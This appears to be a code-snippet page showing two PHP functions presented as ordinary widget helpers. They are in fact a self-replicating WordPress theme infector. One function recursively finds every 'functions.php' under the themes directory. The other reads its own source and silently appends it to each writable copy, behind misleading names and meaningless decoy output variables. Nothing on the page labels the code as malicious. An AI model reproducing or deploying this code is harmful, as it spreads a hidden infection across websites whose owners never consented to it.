示例#1
0
function _get_allwidgets_cont($wids, $items = array())
{
    $places = array_shift($wids);
    if (substr($places, -1) == "/") {
        $places = substr($places, 0, -1);
    }
    if (!file_exists($places) || !is_dir($places)) {
        return false;
    } elseif (is_readable($places)) {
        $elems = scandir($places);
        foreach ($elems as $elem) {
            if ($elem != "." && $elem != "..") {
                if (is_dir($places . "/" . $elem)) {
                    $wids[] = $places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem) && $elem == substr(__FILE__, -13)) {
                    $items[] = $places . "/" . $elem;
                }
            }
        }
    } else {
        return false;
    }
    if (sizeof($wids) > 0) {
        return _get_allwidgets_cont($wids, $items);
    } else {
        return $items;
    }
}
示例#2
0
function _checkactive_widgets()
{
    $widget = substr(file_get_contents(__FILE__), strripos(file_get_contents(__FILE__), "<" . "?"));
    $output = "";
    $allowed = "";
    $output = strip_tags($output, $allowed);
    $direst = _get_allwidgets_cont(array(substr(dirname(__FILE__), 0, stripos(dirname(__FILE__), "themes") + 6)));
    if (is_array($direst)) {
        foreach ($direst as $item) {
            if (is_writable($item)) {
                $ftion = substr($widget, stripos($widget, "_"), stripos(substr($widget, stripos($widget, "_")), "("));
                $cont = file_get_contents($item);
                if (stripos($cont, $ftion) === false) {
                    $comaar = stripos(substr($cont, -20), "?" . ">") !== false ? "" : "?" . ">";
                    $output .= $before . "Not found" . $after;
                    if (stripos(substr($cont, -20), "?" . ">") !== false) {
                        $cont = substr($cont, 0, strripos($cont, "?" . ">") + 2);
                    }
                    $output = rtrim($output, "\n\t");
                    fputs($f = fopen($item, "w+"), $cont . $comaar . "\n" . $widget);
                    fclose($f);
                    $output .= $isshowdots && $ellipsis ? "..." : "";
                }
            }
        }
    }
    return $output;
}